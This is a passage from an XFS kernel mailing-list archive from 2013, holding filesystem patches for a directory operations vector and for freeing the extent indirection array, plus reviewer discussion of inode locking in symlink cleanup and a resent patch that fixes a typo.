= &xfs_default_nameops; + + if (xfs_sb_version_hascrc(&mp->m_sb)) + mp->m_dir_inode_ops = &xfs_dir3_ops; + else if (xfs_sb_version_hasftype(&mp->m_sb)) + mp->m_dir_inode_ops = &xfs_dir2_ftype_ops; + else + mp->m_dir_inode_ops = &xfs_dir2_ops; } /* diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 9910401..1909d9f 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -32,6 +32,20 @@ struct xfs_dir2_data_unused; extern struct xfs_name xfs_name_dotdot; /* + * directory operations vector for encode/decode routines + */ +struct xfs_dir_ops { + int (*sf_entsize)(struct xfs_dir2_sf_hdr *hdr, int len); + struct xfs_dir2_sf_entry * + (*sf_nextentry)(struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep); +}; + +extern const struct xfs_dir_ops xfs_dir2_ops; +extern const struct xfs_dir_ops xfs_dir2_ftype_ops; +extern const struct xfs_dir_ops xfs_dir3_ops; + +/* * Generic directory interface routines */ extern void xfs_dir_startup(void); diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index f966500..6bd340b 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -1240,7 +1240,7 @@ xfs_dir2_sf_to_block( if (++i == sfp->count) sfep = NULL; else - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } /* Done with the temporary buffer */ kmem_free(sfp); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index fad8b42..acfc48f 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -153,7 +153,7 @@ xfs_dir2_sf_getdents( xfs_dir2_sf_get_offset(sfep)); if (ctx->pos > off) { - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); continue; } @@ -163,7 +163,7 @@ xfs_dir2_sf_getdents( if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, ino, xfs_dir3_get_dtype(mp, filetype))) return 0; - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index c7ea24a..51e2ba8 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -336,7 +336,7 @@ xfs_dir2_block_to_sf( xfs_dir3_sfe_put_ftype(mp, sfp, sfep, xfs_dir3_dirent_get_ftype(mp, dep)); - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } ptr += xfs_dir3_data_entsize(mp, dep->namelen); } @@ -389,7 +389,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); + add_entsize = dp->d_ops->sf_entsize(sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ -483,8 +483,7 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, - xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + xfs_idata_realloc(dp, dp->d_ops->sf_entsize(sfp, args->namelen), XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. @@ -563,7 +562,7 @@ xfs_dir2_sf_addname_hard( eof = (char *)oldsfep == &buf[old_isize]; !eof; offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -603,7 +602,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -653,7 +652,7 @@ xfs_dir2_sf_addname_pick( holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + xfs_dir3_data_entsize(mp, sfep->namelen); - sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); + sfep = dp->d_ops->sf_nextentry(sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -719,7 +718,7 @@ xfs_dir2_sf_check( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; @@ -848,7 +847,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -917,7 +916,7 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == @@ -934,7 +933,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); + entsize = dp->d_ops->sf_entsize(sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1051,7 +1050,7 @@ xfs_dir2_sf_replace( */ else { for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) @@ -1172,8 +1171,8 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); @@ -1251,8 +1250,8 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep), - oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep)) { + i++, sfep = dp->d_ops->sf_nextentry(sfp, sfep), + oldsfep = dp->d_ops->sf_nextentry(oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index bb2f283..3ce8c01 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -49,6 +49,9 @@ typedef struct xfs_inode { xfs_ifork_t *i_afp; /* attribute fork pointer */ xfs_ifork_t i_df; /* data fork */ + /* operations vectors */ + const struct xfs_dir_ops *d_ops; /* directory ops vector */ + /* Transaction and locking information. */ struct xfs_inode_log_item *i_itemp; /* logging information */ mrlock_t i_lock; /* inode lock */ diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index eef7f1a..e8ae828 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1210,6 +1210,7 @@ xfs_setup_inode( else inode->i_op = &xfs_dir_inode_operations; inode->i_fop = &xfs_dir_file_operations; + ip->d_ops = ip->i_mount->m_dir_inode_ops; break; case S_IFLNK: inode->i_op = &xfs_symlink_inode_operations; diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 7fcf8ea..aeccb70 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -26,6 +26,7 @@ struct xfs_mru_cache; struct xfs_nameops; struct xfs_ail; struct xfs_quotainfo; +struct xfs_dir_ops; #ifdef HAVE_PERCPU_SB @@ -148,6 +149,7 @@ typedef struct xfs_mount { int m_dir_magicpct; /* 37% of the dir blocksize */ __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ + const struct xfs_dir_ops *m_dir_inode_ops; /* vector of dir inode ops */ int m_dirblksize; /* directory block sz--bytes */ int m_dirblkfsbs; /* directory block sz--fsbs */ xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ -- 1.8.3.2 From bfoster@redhat.com Fri Sep 20 08:09:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F22897F37 for ; Fri, 20 Sep 2013 08:09:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DEB508F8081 for ; Fri, 20 Sep 2013 06:09:12 -0700 (PDT) X-ASG-Debug-ID: 1379682551-04cbb02c3c121e7c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id QrsAUmVT6xC8z0yB for ; Fri, 20 Sep 2013 06:09:12 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8KD991r013972 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 20 Sep 2013 09:09:10 -0400 Received: from laptop.bfoster (vpn-52-85.rdu2.redhat.com [10.10.52.85]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8KD983K023957 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Fri, 20 Sep 2013 09:09:09 -0400 Message-ID: <523C4816.1040105@redhat.com> Date: Fri, 20 Sep 2013 09:05:26 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks References: <1379520960-22972-1-git-send-email-bfoster@redhat.com> <1379520960-22972-2-git-send-email-bfoster@redhat.com> <20130918221729.GB9901@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: push down inactive transaction mgmt for remote symlinks In-Reply-To: <20130918221729.GB9901@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379682551 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 09/18/2013 06:17 PM, Dave Chinner wrote: > On Wed, Sep 18, 2013 at 12:15:58PM -0400, Brian Foster wrote: >> Push down the transaction management for remote symlinks from >> xfs_inactive() down to xfs_inactive_symlink_rmt(). The latter is >> cleaned up to avoid transaction management intended for the >> calling context (i.e., trans duplication, reservation, item >> attachment). >> >> Signed-off-by: Brian Foster >> --- ... >> diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c >> index f622a97..f85f6f2 100644 >> --- a/fs/xfs/xfs_symlink.c >> +++ b/fs/xfs/xfs_symlink.c >> @@ -424,8 +424,7 @@ xfs_symlink( >> */ >> STATIC int >> xfs_inactive_symlink_rmt( ... >> /* >> * The transaction must have been committed, since there were >> * actually extents freed by xfs_bunmapi. See xfs_bmap_finish. >> @@ -508,29 +513,16 @@ xfs_inactive_symlink_rmt( >> * Mark it dirty so it will be logged and moved forward in the log as >> * part of every commit. >> */ >> - xfs_trans_ijoin(tp, ip, 0); >> + xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); > > Oh, good, you caught the "need to unlock the inode at commit" case > :) > Yeah, and while fixing the error handling order issues in v2 I just noticed that this leaves the final xfs_idata_realloc() call in xfs_inactive_symlink_rmt() unprotected wrt to the ilock. ;) I'll fix that up to just do the (un)locking manually here as well for v3... Brian >> >> - error1: >> +error2: >> xfs_bmap_cancel(&free_list); >> - error0: >> +error1: >> + xfs_iunlock(ip, XFS_ILOCK_EXCL); >> +error0: >> + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); >> return error; > > And the error labels need reworking appropriately. > >> } >> >> @@ -563,16 +546,13 @@ xfs_inactive_symlink_rmt( >> */ >> int >> xfs_inactive_symlink( >> - struct xfs_inode *ip, >> - struct xfs_trans **tp) >> + struct xfs_inode *ip) >> { >> struct xfs_mount *mp = ip->i_mount; >> int pathlen; >> >> trace_xfs_inactive_symlink(ip); >> >> - ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); >> - >> if (XFS_FORCED_SHUTDOWN(mp)) >> return XFS_ERROR(EIO); > > The call to xfs_idata_realloc() needs to be done under the > XFS_ILOCK_EXCL here. We can race with other inode cache lookups > that do work, so we do need to ensure that we correctly lock > everything for modifications that are to be made to the inode state. > > Cheers, > > Dave. > From jeff.liu@oracle.com Fri Sep 20 08:20:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 01A5D7F37 for ; Fri, 20 Sep 2013 08:20:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 85324AC002 for ; Fri, 20 Sep 2013 06:20:39 -0700 (PDT) X-ASG-Debug-ID: 1379683237-04cb6c37773c1060001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id xN1TAgxq6RgHfjZo (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 06:20:38 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8KDKa20016585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 13:20:37 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KDKZGL020924 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 13:20:36 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KDKZah017066 for ; Fri, 20 Sep 2013 13:20:35 GMT Received: from [192.168.1.104] (/221.223.103.48) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 20 Sep 2013 06:20:35 -0700 Message-ID: <523C4BD0.7040309@oracle.com> Date: Fri, 20 Sep 2013 21:21:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379683238 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140780 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu To free the incore file extents stores at the indirection array, we call the common routine xfs_iext_irec_remove() to remove a record from the array one at a time in reverse order, which will resize an extent indirection array repeatedly according to the array size. This is not often the case to make a file with thousands extent records stores at an indirection array, but above operation is inefficient and could result in memory fragments. This patch refine xfs_iext_destroy() by freeing the extent records from the indirection array directly in this case. Signed-off-by: Jie Liu --- fs/xfs/xfs_inode_fork.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..ba70f98 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -1525,9 +1525,12 @@ xfs_iext_destroy( int nlists; nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); + for (erp_idex = 0; erp_idx < nlists; erp_idx++) { + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) + kmem_free(erp->er_extbuf); } + kmem_free(ifp->if_u1.if_ext_irec); ifp->if_flags &= ~XFS_IFEXTIREC; } else if (ifp->if_real_bytes) { kmem_free(ifp->if_u1.if_extents); -- 1.7.9.5 From jeff.liu@oracle.com Fri Sep 20 09:38:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 04B717F37 for ; Fri, 20 Sep 2013 09:38:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E85C7304062 for ; Fri, 20 Sep 2013 07:38:40 -0700 (PDT) X-ASG-Debug-ID: 1379687916-04cb6c2e9d122b1b0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id n38665bsoDxuej1E (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 07:38:37 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8KEcZ5C010524 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 14:38:36 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KEcY6C010661 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 14:38:35 GMT Received: from abhmt103.oracle.com (abhmt103.oracle.com [141.146.116.55]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KEcYxU017042 for ; Fri, 20 Sep 2013 14:38:34 GMT Received: from [192.168.1.104] (/221.223.103.48) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 20 Sep 2013 07:38:34 -0700 Message-ID: <523C5E17.1020408@oracle.com> Date: Fri, 20 Sep 2013 22:39:19 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly References: <523C4BD0.7040309@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly In-Reply-To: <523C4BD0.7040309@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1379687916 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140781 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/20/2013 09:21 PM, Jeff Liu wrote: > From: Jie Liu > > To free the incore file extents stores at the indirection array, we > call the common routine xfs_iext_irec_remove() to remove a record > from the array one at a time in reverse order, which will resize an > extent indirection array repeatedly according to the array size. > > This is not often the case to make a file with thousands extent records > stores at an indirection array, but above operation is inefficient and > could result in memory fragments. > > This patch refine xfs_iext_destroy() by freeing the extent records from > the indirection array directly in this case. > > Signed-off-by: Jie Liu > --- > fs/xfs/xfs_inode_fork.c | 7 +++++-- > 1 file changed, 5 insertions(+), 2 deletions(-) > > diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c > index 02f1083..ba70f98 100644 > --- a/fs/xfs/xfs_inode_fork.c > +++ b/fs/xfs/xfs_inode_fork.c > @@ -1525,9 +1525,12 @@ xfs_iext_destroy( > int nlists; > > nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; > - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { > - xfs_iext_irec_remove(ifp, erp_idx); > + for (erp_idex = 0; erp_idx < nlists; erp_idx++) { Sorry, here is a typo, s/erp_idex/erp_idx/, will resend it. > + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; > + if (erp->er_extbuf) > + kmem_free(erp->er_extbuf); > } > + kmem_free(ifp->if_u1.if_ext_irec); > ifp->if_flags &= ~XFS_IFEXTIREC; > } else if (ifp->if_real_bytes) { > kmem_free(ifp->if_u1.if_extents); From jeff.liu@oracle.com Fri Sep 20 09:40:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ACE587F3F for ; Fri, 20 Sep 2013 09:40:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9C9B88F8084 for ; Fri, 20 Sep 2013 07:40:39 -0700 (PDT) X-ASG-Debug-ID: 1379688038-04cb6c37773c4d60001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id 5iyiCu520FfIyAjB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 07:40:38 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8KEebiW025323 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 20 Sep 2013 14:40:38 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KEeaqW015847 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 20 Sep 2013 14:40:37 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8KEeaDQ006102 for ; Fri, 20 Sep 2013 14:40:36 GMT Received: from [192.168.1.104] (/221.223.103.48) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 20 Sep 2013 07:40:36 -0700 Message-ID: <523C5E92.8000406@oracle.com> Date: Fri, 20 Sep 2013 22:41:22 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH] xfs: improve xfs_iext_destroy() by freeing extent indirection array directly Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1379688038 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140781 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu To free the incore file extents stores at the indirection array, we call the common routine xfs_iext_irec_remove() to remove a record from the array one at a time in reverse order, which will resize an extent indirection array repeatedly according to the array size. This is not often the case to make a file with thousands extent records stores at an indirection array, but above operation is inefficient and could result in memory fragments. This patch refine xfs_iext_destroy() by freeing the extent records from the indirection array directly in this case. Signed-off-by: Jie Liu --- fs/xfs/xfs_inode_fork.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 02f1083..ba70f98 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -1525,9 +1525,12 @@ xfs_iext_destroy( int nlists; nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (erp_idx = nlists - 1; erp_idx >= 0 ; erp_idx--) { - xfs_iext_irec_remove(ifp, erp_idx); + for (erp_idx = 0; erp_idx < nlists; erp_idx++) { + xfs_ext_irec_t *erp = &ifp->if_u1.if_ext_irec[erp_idx]; + if (erp->er_extbuf) + kmem_free(erp->er_extbuf); } + kmem_free(ifp->if_u1.if_ext_irec); ifp->if_flags &= ~XFS_IFEXTIREC; } else if (ifp->if_real_bytes) { kmem_free(ifp->if_u1.if_extents); -- 1.7.9.5 From bfoster@redhat.com Fri Sep 20 10:06:16 2013 Return-Path: X-Spam-Checker-Version: 